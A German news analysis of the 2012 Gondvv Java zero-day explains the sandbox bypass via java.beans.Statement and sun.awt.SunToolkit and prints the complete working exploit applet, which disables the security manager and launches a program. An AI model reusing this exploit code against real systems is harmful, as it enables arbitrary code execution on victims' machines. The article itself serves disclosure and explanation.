Java-Schwachstelle: Gondvv-Exploit gefährdet eine Milliarde Systeme

Ein Java-Exploit namens Gondvv macht derzeit die Runde im Internet. Es handelt sich um einen Crossplattform-Exploit, der auf Java-Systemen beliebige Befehle ausführen kann. Er basiert auf Design-Schwachstellen in Java und kommt ohne trickreiche Bytecode-Konstrukte aus. Das macht ihn einerseits für Antiviren-Programme schwer zu erkennen, andererseits führt es dazu, dass der Schadcode auf wirklich jedem ungepatchten System funktioniert.

Joshua J. Drake verbreitete den Exploit kürzlich via Twitter. Laut Schätzungen sind mehr als eine Milliarde Java-Installationen und ihre Geräte betroffen. In dem Blog Immunity Products ist eine detailierte Analyse des Exploits zu finden. Besonders brisant ist, dass die Sicherheitslücke schon seit Java 7.0 (Release 28.7.2011) im Code ist.

Der Java-Security-Manager sorgt normalerweise dafür, das Applets sicherheitskritische Befehle nicht ausführen können. Dieser Sandbox-Mechanismus basiert auf einem ausgefeilten Code zur Zugangskontrolle, der in “java.security.AccessController” untergebracht ist. Diese Klasse enthält die Methode “checkPermission()”, die den kompletten Call-Stack analysiert und im Falle unzureichender Rechte die Ausführung untersagt.

Grob gesagt schafft es der Exploit, diesen Sandbox-Mechanismus auszuhebeln, indem er eine neue “java.security.AccessController” Instanz mit voll ausgestatten Rechten erzeugt und den originalen Access-Controller dadurch ersetzt – genauer gesagt mit der Instanz “java.beans.Statement”. Was hier einfach klingt, versucht Java natürlich mit allen Mitteln zu unterbinden, denn damit wäre der gesamte Schutzmechnismus umgangen. Wie schafft es der Exploit also, den Acce-Controller einfach zu ändern?

Analyse der Schwachstelle

Der Access-Controller wird innerhalb von “java.beans.Statement” wie folgt gesetzt:

public class Statement { private static Object[] emptyArray = new Object[]{}; static ExceptionListener defaultExceptionListener = new ExceptionListener() { public void exceptionThrown(Exception e) { System.err.println(e); System.err.println("Continuing ..."); }
}; private final AccessControlContext acc = AccessController.getContext(); private final Object target; private final String methodName; private final Object[] arguments; ClassLoader loader;
...
}

Der Kontext wird also in einem privaten Feld “AccessControlContext” auf “AccessController.getContext()” gesetzt. Im Falle eines Applets bedeutet dies, dass der Kontext sehr limitierte Protection-Domain-Rechte hat, denn es handelt sich um ein potentiell gefährliches Java-Programm. Was wäre nun, wenn das Applet selbst dieses private Feld der Statement-Klassen ändern könnte? Dann könnte der Sicherheitskontext beliebig manipuliert werden und das Applet hätte volle Rechte.

Private Felder einer anderen Klasse zu ändern, ist natürlich gegen jegliches OOP-Design und strikt verboten. Allerdings enthält die Klasse “sun.awt.SunToolkit” folgende interessante öffentliche Methoden:

public static Field getField(final Class klass, final String fieldName) { return AccessController.doPrivileged(new PrivilegedAction<Field>() { public Field run() { try { Field field = klass.getDeclaredField(fieldName); assert (field != null); field.setAccessible(true); return field; } catch (SecurityException e) { assert false; } catch (NoSuchFieldException e) { assert false; } return null; } });
}

Via OOP-Reflection kann die “getField()”-Methode jedes Feld einer Klasse zurückliefern – und zwar nicht nur öffentliche, sondern auch private Felder. Das klingt jetzt zu einfach um wahr zu sein. Denn ein Applet könnte “getField()” nun einfach auf eine Klasse anwenden und den Sicherheitskontext manuell ändern. Daran haben die Java-Entwickler aber natürlich gedacht. Deshalb können Applets im Allgemeinen nicht auf folgende Packages zugreifen:

  • com.sun.deploy.*
  • com.sun.imageio.*
  • com.sun.javaws.*
  • com.sun.jnlp.*
  • com.sun.xml.internal.bind.*
  • com.sun.xml.internal.ws.*
  • sun.*

Damit ist kein Zugriff auf die gesamte “sun.*”-Hierarchie möglich, und obige “getField()”-Attacke funktioniert nicht. Sobald ein Applet versucht, die Klasse “sun.awt.SunToolkit” zu instanzieren, wird eine Access-Control-Exception ausgelöst.

Das tut der Exploit

An dieser Stelle nutzt der Exploit nun zwei verschiedene Schwachstellen in Java aus, um obiges Angriffsmuster zu realisieren. Die erste Schwachstelle verschafft Zugriff auf die Klasse “sun.awt.SunToolkit”. Die zweite Schwachstelle ermöglicht, die “getField()”-Methode aufzurufen. Der Exploit attackiert dann gezielt die Klasse “java.beans.Expression”, welche eine Subklasse von “java.beans.Statement” ist.

Der Exploit nutzt dafür aus, dass Sicherheitskontrollen von “java.lang.Class.getMethod” und “java.lang.Class.getMethods” nur den unmittelbaren Aufrufer (sog. immediate Caller), nicht aber den gesamten Aufruf-Stack berücksichtigen. Der Exploit nutzt das innerhalb der Klasse “java.beans.Expression” aus, um an eine Methoden-Referenz auf “getField()” zu gelangen. Trotzdem kann der Exploit die Funktion noch nicht aufrufen, denn dies würde immer noch unmittelbar eine Security-Exception auslösen. Um dies zu umgehen, braucht der Exploit einen vertrauenswürdigen Immediate Caller auf dem Stack. Der Angreifer kann nun den Java-Code so arrangieren, dass “com.sun.beans.finder.MethodFinder” zum Immediate Caller wird. Dieser ist vertrauenswürdig, denn er ist Teil des JDK.

Der Gondvv-Exploit selbst ist relative kurz:

// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
//
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
public class Gondvv extends Applet
{ public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] { localProtectionDomain }); SetField(Statement.class, "acc", localStatement, localAccessControlContext); localStatement.execute(); } private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); localExpression.execute(); return (Class)localExpression.getValue(); } private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2) throws Throwable { Object arrayOfObject[] = new Object[2]; arrayOfObject[0] = paramClass; arrayOfObject[1] = paramString; Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(paramObject1, paramObject2); } public void init() { try { disableSecurity(); Process localProcess = null; localProcess = Runtime.getRuntime().exec("calc.exe"); if(localProcess != null); localProcess.waitFor(); } catch(Throwable localThrowable) { localThrowable.printStackTrace(); } } public void paint(Graphics paramGraphics) { paramGraphics.drawString("Loading", 50, 25); }
}

Zentral ist hier die Methode “disableSecurity()”, die oben genannte Schritte ausführt, um dem Applet höhere Rechte zu geben. Die “GetClass()”-Methode verschafft Zugriff auf “sun.awt.SunToolkit”. “SetField()” nutzt die “getField()”-Methode, um den Sicherheitskontext zu ändern. Am Ende ruft der Exploit dann mit “Runtime.getRuntime().exec(“calc.exe”)” den Windwos-eigenen Taschenrechner auf. An dieser Stelle könnte allerdings jeder beliebige Code stehen.

MiIt dem Update Nummer 7 (JDK 7u7 alias jre1.7.0_07) gibt es inzwischen einen Fix von Oracle.

Nach oben